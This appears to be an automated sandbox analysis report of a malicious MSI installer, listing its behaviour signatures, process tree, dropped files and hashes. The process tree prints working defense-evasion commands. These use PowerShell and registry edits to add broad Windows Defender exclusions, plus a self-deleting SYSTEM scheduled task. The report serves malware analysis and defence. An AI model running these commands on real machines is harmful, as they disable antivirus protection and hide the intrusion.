Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 00:13

General

  • Target
    ainstall-setup63tt0012.msi
  • Size 6.0MB
  • Sample260709-ahxesabx7x
  • SHA256 b1b586b20083208212a9b083e8afd97ce32651703447c6f54c2317857782bce2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 7 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 11 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ainstall-setup63tt0012.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:5564
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5152
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4596
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 1113701ED9EFC015498FE5894EF533E2 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:5500
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:5972
  • C:\Users\Public\pZBb6d\XZ2gv1.exe
    "C:\Users\Public\pZBb6d\XZ2gv1.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4684
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:3864
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pZBb6d\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:2020
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\pZBb6d\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5504
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1168
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4476
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1684
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2972
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:2956
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:5604
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:5128
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1792
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:2236
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5768
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5900
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:2820
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:708
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1932
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3240
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:5304
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4248
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5436
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pZBb6d" /t REG_DWORD /d 0 /f
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1404
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\pZBb6d" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5140
                      • C:\Windows\System32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2360
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:2460
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2912
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1148
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2464
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3064
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3440
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3400
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1768

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              e597a77.rbs

                              • Path C:\Config.Msi\e597a77.rbs
                              • Size 7KB
                              • SHA256 f73af5116e5aac0af7bab9cdea1336e0a29a85fd0004c6d090746958d1060c70
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\pZBb6d\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 f31a7e603138f73c529069a65fdad8d9c356118f5cc8bd53872b9e83f875bb65
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              XZ2gv1.exe

                              • Path C:\Users\Public\pZBb6d\XZ2gv1.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\pZBb6d\adoresd.dat
                              • Size 4.8MB
                              • SHA256 df9c9c7db7c680f41d5fa558cd5d5839835ae41da2feebe854d9d4e661a5cdb2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\pZBb6d\msadox.tb
                              • Size 8KB
                              • SHA256 42ac2e61b500cb7726a1116033a505b34516dc85664c4ac6e3e135de596cfd56
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              MSI812D.tmp

                              • Path C:\Windows\Installer\MSI812D.tmp
                              • Size 5.9MB
                              • SHA256 19828424f5628e1ab9e698f15eebe95645c2adf89edc01ae80c497eda8da991b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              e597a76.msi

                              • Path C:\Windows\Installer\e597a76.msi
                              • Size 6.0MB
                              • SHA256 b1b586b20083208212a9b083e8afd97ce32651703447c6f54c2317857782bce2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              metadata-2

                              • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                              • Size 26.1MB
                              • SHA256 5c1824aec85a3c1f52ff174ee2cb5e802d003404c6385517fb6206276aa80c83
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              {5e8e0118-78c1-45f0-88f4-13cd6151fab6}_OnDiskSnapshotProp

                              • Path \??\Volume{aa187f21-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{5e8e0118-78c1-45f0-88f4-13cd6151fab6}_OnDiskSnapshotProp
                              • Size 6KB
                              • SHA256 4f808f0c23a773e8680fbc3ff51719e92477ea36fd19d5557fdd3f002c49c4e6
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3864-106-0x0000015E658A0000-0x0000015E658BE000-memory.dmp

                              memory/3864-102-0x0000015E65840000-0x0000015E65862000-memory.dmp

                              memory/3864-107-0x0000015E65B80000-0x0000015E65C32000-memory.dmp

                              memory/3864-108-0x0000015E658C0000-0x0000015E658CA000-memory.dmp

                              memory/4684-68-0x00007FFDD81A0000-0x00007FFDD81A2000-memory.dmp

                              memory/4684-86-0x000001A7BCDB0000-0x000001A7BCDFE000-memory.dmp

                              memory/4684-66-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/4684-60-0x00007FFDD8190000-0x00007FFDD8192000-memory.dmp

                              memory/4684-69-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/4684-73-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/4684-74-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/4684-75-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/4684-76-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/4684-80-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/4684-87-0x000001A7BE160000-0x000001A7BE1EA000-memory.dmp

                              memory/4684-61-0x00007FFDB51D0000-0x00007FFDB56F6000-memory.dmp

                              memory/4684-91-0x000001A7BE160000-0x000001A7BE1EA000-memory.dmp

                              memory/4684-90-0x000001A7BE160000-0x000001A7BE1EA000-memory.dmp

                              memory/4684-89-0x000001A7BE160000-0x000001A7BE1EA000-memory.dmp

                              memory/4684-93-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/4684-95-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/4684-96-0x000001A7BD8A0000-0x000001A7BE15E000-memory.dmp

                              memory/5500-46-0x00007FFDC28E0000-0x00007FFDC28F2000-memory.dmp

                              memory/5500-16-0x00007FFDC28E0000-0x00007FFDC28F2000-memory.dmp

                              memory/5500-13-0x00007FFDB50C0000-0x00007FFDB56F1000-memory.dmp

                              memory/5500-12-0x00007FFDD8190000-0x00007FFDD8192000-memory.dmp